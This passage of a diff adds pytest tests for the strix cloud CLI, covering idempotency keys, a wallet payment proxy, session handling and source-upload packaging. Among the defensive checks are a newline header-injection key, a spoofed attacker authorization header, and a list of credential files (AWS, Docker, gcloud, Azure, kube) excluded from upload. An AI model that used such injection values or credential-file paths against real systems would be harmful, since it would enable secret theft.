+    monkeypatch.setattr(http, "request", request)
+    assert (
+        cloud.run_cloud(["scans", "rerun", "scan-old", "--idempotency-key", "conflict", "--json"])
+        == http.EXIT_ERROR
+    )
+    assert calls == 1
+    assert json.loads(capsys.readouterr().out)["code"] == "idempotency_key_conflict"
+
+
+def test_exhausted_ambiguous_launch_reports_safe_recovery_key(
+    monkeypatch: pytest.MonkeyPatch,
+    capsys: Any,
+) -> None:
+    monkeypatch.setattr(
+        http,
+        "request",
+        lambda *_args, **_kwargs: (_ for _ in ()).throw(http.CloudTransportError("response lost")),
+    )
+    assert (
+        cloud.run_cloud(["scans", "rerun", "scan-old", "--idempotency-key", "recover-me", "--json"])
+        == http.EXIT_ERROR
+    )
+    payload = json.loads(capsys.readouterr().out)
+    assert payload["idempotency_key"] == "recover-me"
+    assert payload["retry_safe"] is True
+    assert payload["retry_same_request"] is True
+    assert "--idempotency-key recover-me" in payload["error"]
+
+
+@pytest.mark.parametrize("key", ["", " white", "bad key", "x\nheader", "x" * 201])
+def test_invalid_idempotency_key_is_usage_error_before_request(
+    key: str,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    monkeypatch.setattr(http, "request", lambda *_a, **_k: pytest.fail("must not request"))
+    assert (
+        cloud.run_cloud(["scans", "rerun", "scan-old", "--idempotency-key", key, "--json"])
+        == http.EXIT_USAGE
+    )
+
+
+def test_idempotency_flag_is_completed_only_for_keyed_commands() -> None:
+    assert "--idempotency-key" in completion_candidates(["cloud", "scans", "start", "--idemp"])
+    assert "--idempotency-key" in completion_candidates(
+        ["cloud", "scans", "rerun", "scan-1", "--idemp"]
+    )
+    assert "--idempotency-key" not in completion_candidates(["cloud", "scans", "list", "--idemp"])
+    assert "--idempotency-key" in completion_candidates(["cloud", "schedules", "create", "--idemp"])
+    assert "--idempotency-key" in completion_candidates(
+        ["cloud", "schedules", "trigger", "schedule-1", "--idemp"]
+    )
+
+
+def test_http_client_places_key_in_the_header(monkeypatch: pytest.MonkeyPatch) -> None:
+    seen: dict[str, Any] = {}
+
+    def request(_method: str, _url: str, **kwargs: Any) -> FakeResponse:
+        seen.update(kwargs)
+        return FakeResponse({"ok": True})
+
+    monkeypatch.setattr(http.requests, "request", request)
+    http.request("POST", "/scans", body={}, idempotency_key="header-key")
+    assert seen["headers"]["Idempotency-Key"] == "header-key"
+    assert seen["headers"]["Authorization"] == "Bearer idempotency-test-token"

tests/test_cloud_payment_proxy.py

@@ -0,0 +1,136 @@
+"""Security tests for the wallet payment loopback bridge."""
+
+from __future__ import annotations
+
+import urllib.error
+import urllib.request
+from typing import TYPE_CHECKING, Any
+
+import pytest
+
+from strix.interface.cloud import payment_proxy
+
+
+if TYPE_CHECKING:
+    from collections.abc import Iterator
+
+
+class _StreamingResponse:
+    status_code = 200
+
+    def __init__(self, chunks: list[bytes]) -> None:
+        self.chunks = chunks
+        self.closed = False
+        self.headers = {"Content-Type": "application/json"}
+
+    def iter_content(self, *, chunk_size: int) -> Iterator[bytes]:
+        assert chunk_size > 0
+        yield from self.chunks
+
+    def close(self) -> None:
+        self.closed = True
+
+
+def _post(url: str, body: bytes, headers: dict[str, str] | None = None) -> bytes:
+    request = urllib.request.Request(  # noqa: S310
+        url,
+        data=body,
+        headers={"Content-Type": "application/json", **(headers or {})},
+        method="POST",
+    )
+    with urllib.request.urlopen(request, timeout=2) as response:  # noqa: S310
+        return response.read()
+
+
+def test_bridge_bounds_decompressed_upstream_response(monkeypatch: pytest.MonkeyPatch) -> None:
+    response = _StreamingResponse([b"1234", b"5"])
+
+    def fake_request(*_args: Any, **kwargs: Any) -> _StreamingResponse:
+        assert kwargs["stream"] is True
+        return response
+
+    monkeypatch.setattr(payment_proxy, "_MAX_UPSTREAM_RESPONSE_BYTES", 4)
+    monkeypatch.setattr(payment_proxy.requests, "request", fake_request)
+
+    with payment_proxy.wallet_payment_bridge(
+        upstream_url="https://app.example.test/api/v1/billing/topup",
+        api_token="strix-secret",  # noqa: S106
+        expected_body=b"{}",
+    ) as wallet_url:
+        request = urllib.request.Request(  # noqa: S310
+            wallet_url,
+            data=b"{}",
+            headers={"Content-Type": "application/json"},
+            method="POST",
+        )
+        with pytest.raises(urllib.error.HTTPError) as exc_info:
+            urllib.request.urlopen(request, timeout=2)  # noqa: S310
+
+    assert exc_info.value.code == 502
+    assert response.closed is True
+
+
+def test_bridge_forwards_only_the_approved_request_and_protected_headers(
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    captured: list[dict[str, Any]] = []
+    observed: list[payment_proxy.WalletUpstreamResponse] = []
+
+    def fake_request(*_args: Any, **kwargs: Any) -> _StreamingResponse:
+        captured.append(kwargs)
+        return _StreamingResponse([b'{"ok":true}'])
+
+    monkeypatch.setattr(payment_proxy.requests, "request", fake_request)
+    with payment_proxy.wallet_payment_bridge(
+        upstream_url="https://app.example.test/api/v1/billing/topup",
+        api_token="strix-secret",  # noqa: S106
+        expected_body=b'{"credits":5}',
+        response_observer=observed.append,
+    ) as wallet_url:
+        result = _post(
+            wallet_url,
+            b'{"credits":5}',
+            {
+                "Authorization": "Payment wallet-proof",
+                "Proxy-Authorization": "Basic drop-me",
+                "X-Strix-Authorization": "Bearer attacker",
+            },
+        )
+
+        assert result == b'{"ok":true}'
+        headers = captured[0]["headers"]
+        assert headers["Authorization"] == "Payment wallet-proof"
+        assert headers["X-Strix-Authorization"] == "Bearer strix-secret"
+        assert "Proxy-Authorization" not in headers
+        assert not any(name.lower() in {"host", "content-length"} for name in headers)
+        assert observed == [
+            payment_proxy.WalletUpstreamResponse(status_code=200, body=b'{"ok":true}')
+        ]
+
+        with pytest.raises(urllib.error.HTTPError) as wrong_body:
+            _post(wallet_url, b'{"credits":500}')
+        assert wrong_body.value.code == 403
+        assert len(captured) == 1
+
+
+def test_bridge_allows_only_two_valid_wallet_attempts(monkeypatch: pytest.MonkeyPatch) -> None:
+    calls = 0
+
+    def fake_request(*_args: Any, **_kwargs: Any) -> _StreamingResponse:
+        nonlocal calls
+        calls += 1
+        return _StreamingResponse([b"{}"])
+
+    monkeypatch.setattr(payment_proxy.requests, "request", fake_request)
+    with payment_proxy.wallet_payment_bridge(
+        upstream_url="https://app.example.test/api/v1/billing/topup",
+        api_token="strix-secret",  # noqa: S106
+        expected_body=b"{}",
+    ) as wallet_url:
+        assert _post(wallet_url, b"{}") == b"{}"
+        assert _post(wallet_url, b"{}") == b"{}"
+        with pytest.raises(urllib.error.HTTPError) as third_request:
+            _post(wallet_url, b"{}")
+
+    assert third_request.value.code == 429
+    assert calls == 2

tests/test_cloud_session.py

@@ -0,0 +1,165 @@
+"""CLI-session lifecycle, scope, and workspace-race behavior."""
+
+from __future__ import annotations
+
+import json
+from typing import TYPE_CHECKING, Any
+
+import pytest
+from rich.console import Console
+
+from strix.interface import cloud, platform_cli, platform_identity
+from strix.interface.cloud import http
+from strix.interface.cloud import session as cloud_session
+
+
+if TYPE_CHECKING:
+    from pathlib import Path
+
+
+class Response:
+    def __init__(self, payload: Any = None, status_code: int = 200) -> None:
+        self._payload = payload
+        self.status_code = status_code
+        self.ok = 200 <= status_code < 400
+        self.text = json.dumps(payload) if payload is not None else ""
+        self.headers = {"content-type": "application/json"}
+
+    def json(self) -> Any:
+        return self._payload
+
+
+@pytest.fixture
+def auth_path(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
+    path = tmp_path / "platform-auth.json"
+    monkeypatch.setattr(platform_cli, "AUTH_PATH", path)
+    monkeypatch.delenv("STRIX_API_TOKEN", raising=False)
+    monkeypatch.delenv("STRIX_WORKSPACE_ID", raising=False)
+    return path
+
+
+def test_http_workspace_pin_is_captured_once(
+    auth_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    platform_cli.save_record(
+        {
+            "api_token": "secret",
+            "organization_id": "org_start",
+            "app_url": "https://app.example.test",
+        }
+    )
+    assert auth_path.exists()
+    sent: list[dict[str, str]] = []
+
+    def fake_request(*_args: Any, **kwargs: Any) -> Response:
+        sent.append(dict(kwargs["headers"]))
+        return Response({})
+
+    monkeypatch.setattr(http.requests, "request", fake_request)
+    http.configure()
+    platform_cli.save_record(
+        {
+            "api_token": "secret",
+            "organization_id": "org_changed_elsewhere",
+            "app_url": "https://app.example.test",
+        }
+    )
+    http.request("GET", "/scans")
+    assert sent[0]["X-Strix-Workspace"] == "org_start"
+
+
+def test_session_scope_update_persists_only_for_stored_session(
+    auth_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: Any
+) -> None:
+    platform_cli.save_record(
+        {
+            "api_token": "secret",
+            "organization_id": "org_1",
+            "app_url": "https://app.example.test",
+            "scopes": ["scans:read"],
+        }
+    )
+    monkeypatch.setattr(
+        http,
+        "request",
+        lambda *_args, **_kwargs: Response(
+            {
+                "scopes": ["scans:read", "scans:write", "billing:read"],
+                "requested_scopes": ["scans:read", "scans:write", "billing:read"],
+                "scope_ceiling": ["scans:read", "scans:write", "billing:read"],
+                "scope_profile": "minimal",
+            }
+        ),
+    )
+    assert cloud.run_cloud(["session", "scopes", "set", "minimal", "--json"]) == 0
+    stored = platform_cli.read_record()
+    assert stored is not None
+    assert stored["scope_profile"] == "minimal"
+    assert json.loads(capsys.readouterr().out)["scope_profile"] == "minimal"
+
+    before = auth_path.read_text(encoding="utf-8")
+    assert (
+        cloud.run_cloud(["session", "scopes", "set", "minimal", "--token", "override", "--json"])
+        == 0
+    )
+    assert auth_path.read_text(encoding="utf-8") == before
+
+
+def test_logout_keeps_local_token_when_remote_outcome_is_not_definitive(
+    auth_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: Any
+) -> None:
+    platform_cli.save_record(
+        {
+            "api_token": "secret",
+            "organization_id": "org_1",
+            "app_url": "https://app.example.test",
+        }
+    )
+    monkeypatch.setattr(
+        platform_cli.requests,
+        "delete",
+        lambda *_args, **_kwargs: Response({"detail": "unavailable"}, 503),
+    )
+    assert cloud.run_cloud(["logout", "--json"]) == 1
+    assert auth_path.exists()
+    assert json.loads(capsys.readouterr().out)["removed"] is False
+
+
+def test_local_only_logout_is_explicit_and_recoverable(auth_path: Path, capsys: Any) -> None:
+    platform_cli.save_record({"api_token": "secret"})
+    assert cloud.run_cloud(["logout", "--local-only", "--json"]) == 0
+    payload = json.loads(capsys.readouterr().out)
+    assert payload["local_only"] is True
+    assert payload["remotely_revoked"] is False
+    assert not auth_path.exists()
+
+
+def test_session_json_errors_preserve_machine_readable_server_details(capsys: Any) -> None:
+    error = http.CloudError(
+        "workspace changed",
+        payload={
+            "detail": "workspace changed",
+            "code": "workspace_session_changed",
+            "current_organization_id": "org_current",
+        },
+    )
+
+    assert cloud_session._error(Console(), error, as_json=True) == http.EXIT_ERROR
+    payload = json.loads(capsys.readouterr().out)
+    assert payload == {
+        "code": "workspace_session_changed",
+        "current_organization_id": "org_current",
+        "error": "workspace changed",
+    }
+
+
+def test_cli_device_identity_is_stable_and_privacy_safe(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    path = tmp_path / "cli-identity.json"
+    monkeypatch.setattr(platform_identity, "IDENTITY_PATH", path)
+    first = platform_identity.read_or_create_identity()
+    second = platform_identity.read_or_create_identity(device_name="  Build   laptop  ")
+    assert second["client_instance_id"] == first["client_instance_id"]
+    assert second["device_name"] == "Build laptop"
+    assert path.stat().st_mode & 0o777 == 0o600

tests/test_cloud_source_upload.py

@@ -0,0 +1,657 @@
+"""Local-source packaging and scan upload tests."""
+
+from __future__ import annotations
+
+import json
+import os
+import shutil
+import subprocess
+import zipfile
+from typing import TYPE_CHECKING, Any
+
+import pytest
+
+from strix.interface import cloud
+from strix.interface.cloud import http, source_upload
+
+
+if TYPE_CHECKING:
+    from pathlib import Path
+
+
+class FakeResponse:
+    def __init__(self, payload: Any, status_code: int = 200) -> None:
+        self.status_code = status_code
+        self._payload = payload
+        self.text = json.dumps(payload)
+        self.content = b""
+        self.ok = 200 <= status_code < 400
+        self.headers = {"content-type": "application/json"}
+
+    def json(self) -> Any:
+        return self._payload
+
+
+class MalformedJsonResponse(FakeResponse):
+    def json(self) -> Any:
+        raise ValueError("malformed JSON")
+
+
+@pytest.fixture(autouse=True)
+def _token_env(monkeypatch: pytest.MonkeyPatch) -> None:
+    monkeypatch.setenv("STRIX_API_TOKEN", "test-token")
+
+
+def _git_source(tmp_path: Path) -> Path:
+    git = shutil.which("git")
+    assert git is not None
+    subprocess.run([git, "init", "-q", str(tmp_path)], check=True)  # noqa: S603
+    (tmp_path / "app.py").write_text("print('hello')\n", encoding="utf-8")
+    (tmp_path / "README.md").write_text("hello\n", encoding="utf-8")
+    (tmp_path / ".gitignore").write_text("ignored.log\n", encoding="utf-8")
+    (tmp_path / "ignored.log").write_text("ignored\n", encoding="utf-8")
+    subprocess.run(  # noqa: S603
+        [git, "-C", str(tmp_path), "add", "app.py", ".gitignore"], check=True
+    )
+    return tmp_path
+
+
+def test_source_defaults_are_private_and_git_aware(tmp_path: Path) -> None:
+    source = _git_source(tmp_path)
+    (source / ".hidden.py").write_text("hidden\n", encoding="utf-8")
+    (source / ".env").write_text("TOKEN=secret\n", encoding="utf-8")
+    (source / "private.pem").write_text("secret\n", encoding="utf-8")
+    (source / "fixture.zip").write_bytes(b"not really a zip")
+    (source / "node_modules").mkdir()
+    (source / "node_modules" / "dep.js").write_text("dep\n", encoding="utf-8")
+    (source / "linked.py").symlink_to(source / "app.py")
+
+    bundle = source_upload.prepare_source(
+        str(source),
+        include_hidden=False,
+        include_sensitive=False,
+        include_archives=False,
+        exclude=[],
+    )
+    try:
+        names = [item.archive_name for item in bundle.manifest.files]
+        assert names == ["README.md", "app.py"]
+        assert bundle.manifest.total_bytes > 0
+        assert bundle.archive_bytes <= source_upload.MAX_ARCHIVE_BYTES
+        assert bundle.manifest.excluded["hidden"] == 3
+        assert bundle.manifest.excluded["sensitive_filename"] == 1
+        assert bundle.manifest.excluded["nested_archive"] == 1
+        assert bundle.manifest.excluded["dependency_or_build_output"] == 1
+        assert bundle.manifest.excluded["symlink_or_non_file"] == 1
+        with zipfile.ZipFile(bundle.archive_path) as archive:
+            assert archive.namelist() == names
+    finally:
+        source_upload.remove_bundle(bundle)
+
+
+def test_hidden_and_sensitive_files_need_separate_opt_ins(tmp_path: Path) -> None:
+    source = _git_source(tmp_path)
+    (source / ".env").write_text("TOKEN=secret\n", encoding="utf-8")
+    (source / ".github").mkdir()
+    (source / ".github" / "workflow.yml").write_text("name: test\n", encoding="utf-8")
+
+    hidden = source_upload.select_source(source, include_hidden=True)
+    hidden_names = {item.archive_name for item in hidden.files}
+    assert ".github/workflow.yml" in hidden_names
+    assert ".env" not in hidden_names
+
+    sensitive = source_upload.select_source(source, include_hidden=True, include_sensitive=True)
+    assert ".env" in {item.archive_name for item in sensitive.files}
+    assert all(
+        not name.startswith(".git/") for name in (item.archive_name for item in sensitive.files)
+    )
+
+
+def test_hidden_opt_in_still_excludes_common_credential_paths(tmp_path: Path) -> None:
+    paths = [
+        ".aws/credentials",
+        ".git-credentials",
+        ".docker/config.json",
+        ".config/gcloud/application_default_credentials.json",
+        ".config/gcloud/credentials.db",
+        ".azure/accessTokens.json",
+        ".kube/config",
+    ]
+    for relative in paths:
+        path = tmp_path / relative
+        path.parent.mkdir(parents=True, exist_ok=True)
+        path.write_text("credential material\n", encoding="utf-8")
+
+    hidden_only = source_upload.select_source(tmp_path, include_hidden=True)
+    assert not ({item.archive_name for item in hidden_only.files} & set(paths))
+    assert hidden_only.excluded["sensitive_filename"] == len(paths)
+
+    explicitly_sensitive = source_upload.select_source(
+        tmp_path, include_hidden=True, include_sensitive=True
+    )
+    assert set(paths) <= {item.archive_name for item in explicitly_sensitive.files}
+
+
+def test_hidden_opt_in_cannot_reenable_dependency_cache_or_build_dirs(tmp_path: Path) -> None:
+    excluded_dirs = [
+        ".venv",
+        "env",
+        ".tox",
+        ".pytest_cache",
+        ".mypy_cache",
+        ".ruff_cache",
+        ".next",
+        ".nuxt",
+        ".gradle",
+    ]
+    for directory in excluded_dirs:
+        path = tmp_path / directory / "artifact.txt"
+        path.parent.mkdir(parents=True)
+        path.write_text("generated\n", encoding="utf-8")
+    (tmp_path / ".github" / "workflow.yml").parent.mkdir()
+    (tmp_path / ".github" / "workflow.yml").write_text("name: test\n", encoding="utf-8")
+
+    manifest = source_upload.select_source(tmp_path, include_hidden=True)
+
+    names = {item.archive_name for item in manifest.files}
+    assert ".github/workflow.yml" in names
+    assert not any(name.split("/", 1)[0] in excluded_dirs for name in names)
+    assert manifest.excluded["dependency_or_build_output"] == len(excluded_dirs)
+
+
+def test_strixignore_and_cli_excludes_are_applied(tmp_path: Path) -> None:
+    (tmp_path / "keep.py").write_text("keep\n", encoding="utf-8")
+    (tmp_path / "generated.py").write_text("generated\n", encoding="utf-8")
+    (tmp_path / "test_app.py").write_text("test\n", encoding="utf-8")
+    (tmp_path / ".strixignore").write_text("generated.py\n", encoding="utf-8")
+
+    manifest = source_upload.select_source(tmp_path, exclude=["test_*.py"])
+    assert [item.archive_name for item in manifest.files] == ["keep.py"]
+    assert manifest.excluded["user_pattern"] == 2
+
+
+def test_strixignore_trailing_slash_excludes_the_whole_directory(tmp_path: Path) -> None:
+    (tmp_path / "keep.py").write_text("keep\n", encoding="utf-8")
+    private = tmp_path / "private" / "nested"
+    private.mkdir(parents=True)
+    (private / "secret.txt").write_text("do not upload\n", encoding="utf-8")
+    cache = tmp_path / "packages" / "cache"
+    cache.mkdir(parents=True)
+    (cache / "artifact.txt").write_text("do not upload\n", encoding="utf-8")
+    (tmp_path / ".strixignore").write_text("private/\n", encoding="utf-8")
+
+    manifest = source_upload.select_source(tmp_path, exclude=["cache/"])
+
+    assert [item.archive_name for item in manifest.files] == ["keep.py"]
+    assert manifest.excluded["user_pattern"] >= 2
+
+
+def test_source_limits_expanded_bytes_before_compression(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    monkeypatch.setattr(source_upload, "MAX_TOTAL_BYTES", 5)
+    (tmp_path / "large.py").write_bytes(b"a" * 6)
+    with pytest.raises(http.CloudError, match="expanded-size limit"):
+        source_upload.select_source(tmp_path)
+
+
+def test_source_rejects_archives_by_suffix_and_actual_bytes(tmp_path: Path) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+    (tmp_path / "dependency.jar").write_bytes(b"not-even-a-valid-archive")
+    (tmp_path / "renamed-source.txt").write_bytes(b"PK\x03\x04" + b"x" * 32)
+    tar_header = bytearray(512)
+    tar_header[257:262] = b"ustar"
+    (tmp_path / "renamed-tar.bin").write_bytes(tar_header)
+
+    manifest = source_upload.select_source(tmp_path)
+
+    assert [item.archive_name for item in manifest.files] == ["app.py"]
+    assert manifest.excluded["nested_archive"] == 3
+
+
+def test_source_enumeration_is_bounded_before_filtering(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    monkeypatch.setattr(source_upload, "MAX_CANDIDATE_PATHS", 2)
+    for index in range(3):
+        (tmp_path / f"file-{index}.py").write_text("safe\n", encoding="utf-8")
+
+    with pytest.raises(http.CloudError, match="enumeration exceeded 2 paths"):
+        source_upload.select_source(tmp_path)
+
+
+def test_strixignore_size_and_pattern_counts_are_bounded(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    ignore = tmp_path / ".strixignore"
+    monkeypatch.setattr(source_upload, "MAX_IGNORE_BYTES", 4)
+    ignore.write_text("12345", encoding="utf-8")
+    with pytest.raises(http.CloudError, match="larger than the 4-byte limit"):
+        source_upload.select_source(tmp_path)
+
+    monkeypatch.setattr(source_upload, "MAX_IGNORE_BYTES", 1_000)
+    monkeypatch.setattr(source_upload, "MAX_IGNORE_PATTERNS", 1)
+    ignore.write_text("one\ntwo\n", encoding="utf-8")
+    with pytest.raises(http.CloudError, match="more than 1 exclusion patterns"):
+        source_upload.select_source(tmp_path)
+
+
+@pytest.mark.skipif(not hasattr(os, "mkfifo"), reason="named pipes are not supported")
+def test_strixignore_must_be_a_nonblocking_regular_file(tmp_path: Path) -> None:
+    (tmp_path / "app.py").write_text("print('ok')\n", encoding="utf-8")
+    os.mkfifo(tmp_path / ".strixignore")
+
+    with pytest.raises(http.CloudError, match="must be a regular file"):
+        source_upload.select_source(tmp_path)
+
+
+def test_source_archive_rejects_a_path_swapped_after_manifest_review(tmp_path: Path) -> None:
+    source_path = tmp_path / "app.py"
+    source_path.write_bytes(b"safe")
+    manifest = source_upload.select_source(tmp_path)
+
+    replacement = tmp_path / "replacement"
+    replacement.write_bytes(b"oops")
+    replacement.replace(source_path)
+
+    with pytest.raises(http.CloudError, match="changed while the source archive was being built"):
+        source_upload._write_archive(tmp_path / "source.zip", manifest.files)
+
+
+def test_source_archive_rejects_same_inode_same_size_change_after_review(tmp_path: Path) -> None:
+    source_path = tmp_path / "app.py"
+    source_path.write_bytes(b"safe")
+    manifest = source_upload.select_source(tmp_path)
+
+    source_path.write_bytes(b"evil")
+    selected = manifest.files[0]
+    os.utime(
+        source_path,
+        ns=(selected.mtime_ns + 1_000_000, selected.mtime_ns + 1_000_000),
+    )
+
+    with pytest.raises(http.CloudError, match="changed while the source archive was being built"):
+        source_upload._write_archive(tmp_path / "source.zip", manifest.files)
+
+
+def test_source_dry_run_never_calls_the_api(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: Any
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+
+    def fail_request(*_args: Any, **_kwargs: Any) -> Any:
+        raise AssertionError("dry-run must not make an API request")
+
+    monkeypatch.setattr(http, "request", fail_request)
+    assert (
+        cloud.run_cloud(
+            ["scans", "start", "--source", str(tmp_path), "--dry-run", "--show-files", "--json"]
+        )
+        == 0
+    )
+    payload = json.loads(capsys.readouterr().out)
+    assert payload["source"]["files"] == ["app.py"]
+    assert payload["source"]["archive_sha256"]
+
+
+def test_noninteractive_source_upload_requires_yes(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: Any
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+    monkeypatch.setattr(
+        http,
+        "request",
+        lambda *_args, **_kwargs: pytest.fail("approval must happen before any API request"),
+    )
+    assert cloud.run_cloud(["scans", "start", "--source", str(tmp_path), "--json"]) == 1
+    output = capsys.readouterr().out
+    assert "requires explicit approval" in output
+    assert "--approve-sha256 <reviewed hash>" in output
+    assert "--yes" in output
+    assert "one-shot approval" in output
+
+
+def test_source_digest_approval_rejects_a_changed_snapshot(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: Any
+) -> None:
+    source = tmp_path / "app.py"
+    source.write_text("print('reviewed')\n", encoding="utf-8")
+    assert (
+        cloud.run_cloud(["scans", "start", "--source", str(tmp_path), "--dry-run", "--json"]) == 0
+    )
+    approved = json.loads(capsys.readouterr().out)["source"]["archive_sha256"]
+    source.write_text("print('changed')\n", encoding="utf-8")
+    monkeypatch.setattr(
+        http,
+        "request",
+        lambda *_args, **_kwargs: pytest.fail("a changed snapshot must not reach the API"),
+    )
+
+    assert (
+        cloud.run_cloud(
+            [
+                "scans",
+                "start",
+                "--source",
+                str(tmp_path),
+                "--approve-sha256",
+                approved,
+                "--json",
+            ]
+        )
+        == http.EXIT_ERROR
+    )
+    assert "does not match" in json.loads(capsys.readouterr().out)["error"]
+
+
+def test_source_upload_is_completed_and_attached_to_scan(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: Any
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+    calls: list[tuple[str, str, dict[str, Any]]] = []
+    uploaded_path: Path | None = None
+
+    def fake_request(method: str, path: str, **kwargs: Any) -> FakeResponse:
+        calls.append((method, path, kwargs))
+        if path == "/uploads/request":
+            return FakeResponse(
+                {
+                    "upload_id": "upload-1",
+                    "signed_url": "https://storage.test/object",
+                    "token": "signed",
+                }
+            )
+        if path == "/uploads/complete":
+            return FakeResponse({"id": "upload-1"})
+        if path == "/scans":
+            return FakeResponse({"scan_id": "scan-1", "status": "pending"})
+        raise AssertionError(path)
+
+    def fake_upload(_url: str, _token: str, path: Path) -> None:
+        nonlocal uploaded_path
+        uploaded_path = path
+        assert path.exists()
+
+    monkeypatch.setattr(http, "request", fake_request)
+    monkeypatch.setattr(http, "upload_file", fake_upload)
+
+    assert (
+        cloud.run_cloud(
+            ["scans", "start", "--source", str(tmp_path), "--yes", "--show-files", "--json"]
+        )
+        == 0
+    )
+    payload = json.loads(capsys.readouterr().out)
+    assert payload["upload_id"] == "upload-1"
+    assert payload["scan"]["scan_id"] == "scan-1"
+    assert payload["source"]["files"] == ["app.py"]
+    scan_call = next(call for call in calls if call[1] == "/scans")
+    assert scan_call[2]["body"] == {
+        "engagement_type": "code_review",
+        "upload_ids": ["upload-1"],
+    }
+    assert uploaded_path is not None and not uploaded_path.exists()
+
+
+def test_source_upload_with_domain_is_a_live_test(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: Any
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+    calls: list[tuple[str, str, dict[str, Any]]] = []
+
+    def fake_request(method: str, path: str, **kwargs: Any) -> FakeResponse:
+        calls.append((method, path, kwargs))
+        if path == "/uploads/request":
+            return FakeResponse(
+                {
+                    "upload_id": "upload-1",
+                    "signed_url": "https://storage.test/object",
+                    "token": "signed",
+                }
+            )
+        if path == "/uploads/complete":
+            return FakeResponse({"id": "upload-1"})
+        if path == "/scans":
+            return FakeResponse({"scan_id": "scan-1", "status": "pending"})
+        raise AssertionError(path)
+
+    monkeypatch.setattr(http, "request", fake_request)
+    monkeypatch.setattr(http, "upload_file", lambda *_args, **_kwargs: None)
+
+    assert (
+        cloud.run_cloud(
+            [
+                "scans",
+                "start",
+                "--source",
+                str(tmp_path),
+                "--domain-ids",
+                "domain-1",
+                "--yes",
+                "--json",
+            ]
+        )
+        == 0
+    )
+    scan_call = next(call for call in calls if call[1] == "/scans")
+    assert scan_call[2]["body"] == {
+        "engagement_type": "live_test",
+        "domain_ids": ["domain-1"],
+        "upload_ids": ["upload-1"],
+    }
+    assert json.loads(capsys.readouterr().out)["scan"]["scan_id"] == "scan-1"
+
+
+def test_failed_scan_deletes_completed_source_upload(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+    paths: list[tuple[str, str]] = []
+
+    def fake_request(method: str, path: str, **_kwargs: Any) -> FakeResponse:
+        paths.append((method, path))
+        if path == "/uploads/request":
+            return FakeResponse(
+                {
+                    "upload_id": "upload-1",
+                    "signed_url": "https://storage.test/object",
+                    "token": "signed",
+                }
+            )
+        if path == "/uploads/complete":
+            return FakeResponse({"id": "upload-1"})
+        if path == "/scans":
+            return FakeResponse({"detail": "not enough credits"}, status_code=402)
+        if path == "/uploads/upload-1":
+            return FakeResponse({"ok": True})
+        raise AssertionError(path)
+
+    monkeypatch.setattr(http, "request", fake_request)
+    monkeypatch.setattr(http, "upload_file", lambda *_args, **_kwargs: None)
+    assert cloud.run_cloud(["scans", "start", "--source", str(tmp_path), "--yes", "--json"]) == 5
+    assert ("DELETE", "/uploads/upload-1") in paths
+
+
+@pytest.mark.parametrize(
+    "failure",
+    ["network", "server", "malformed_success", "malformed_json_success", "wrong_shape_success"],
+)
+def test_ambiguous_scan_launch_retains_completed_source_upload(
+    failure: str,
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+    capsys: Any,
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+    paths: list[tuple[str, str]] = []
+
+    def fake_request(method: str, path: str, **_kwargs: Any) -> FakeResponse:
+        paths.append((method, path))
+        if path == "/uploads/request":
+            return FakeResponse(
+                {
+                    "upload_id": "upload-ambiguous",
+                    "signed_url": "https://storage.test/object",
+                    "token": "signed",
+                }
+            )
+        if path == "/uploads/complete":
+            return FakeResponse({"id": "upload-ambiguous"})
+        if path == "/scans":
+            if failure == "network":
+                raise http.CloudError("connection closed before a response")
+            if failure == "server":
+                return FakeResponse({"detail": "temporary failure"}, status_code=500)
+            if failure == "malformed_json_success":
+                return MalformedJsonResponse("accepted")
+            if failure == "wrong_shape_success":
+                return FakeResponse({})
+            response = FakeResponse("accepted")
+            response.headers = {"content-type": "text/html"}
+            return response
+        if path == "/uploads/upload-ambiguous":
+            pytest.fail("an upload with an ambiguous launch must not be deleted")
+        raise AssertionError(path)
+
+    monkeypatch.setattr(http, "request", fake_request)
+    monkeypatch.setattr(http, "upload_file", lambda *_args, **_kwargs: None)
+
+    assert (
+        cloud.run_cloud(["scans", "start", "--source", str(tmp_path), "--yes", "--json"])
+        == http.EXIT_ERROR
+    )
+    payload = json.loads(capsys.readouterr().out)
+    assert payload["upload_id"] == "upload-ambiguous"
+    assert payload["upload_retained"] is True
+    assert payload["launch_outcome_unknown"] is True
+    assert "outcome is unknown" in payload["error"]
+    assert ("DELETE", "/uploads/upload-ambiguous") not in paths
+
+
+def test_mismatched_upload_completion_response_is_cleaned_before_launch(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+    paths: list[tuple[str, str]] = []
+
+    def fake_request(method: str, path: str, **_kwargs: Any) -> FakeResponse:
+        paths.append((method, path))
+        if path == "/uploads/request":
+            return FakeResponse(
+                {
+                    "upload_id": "upload-expected",
+                    "signed_url": "https://storage.test/object",
+                    "token": "signed",
+                }
+            )
+        if path == "/uploads/complete":
+            return FakeResponse({"id": "upload-different"})
+        if path == "/uploads/upload-expected":
+            return FakeResponse({"ok": True})
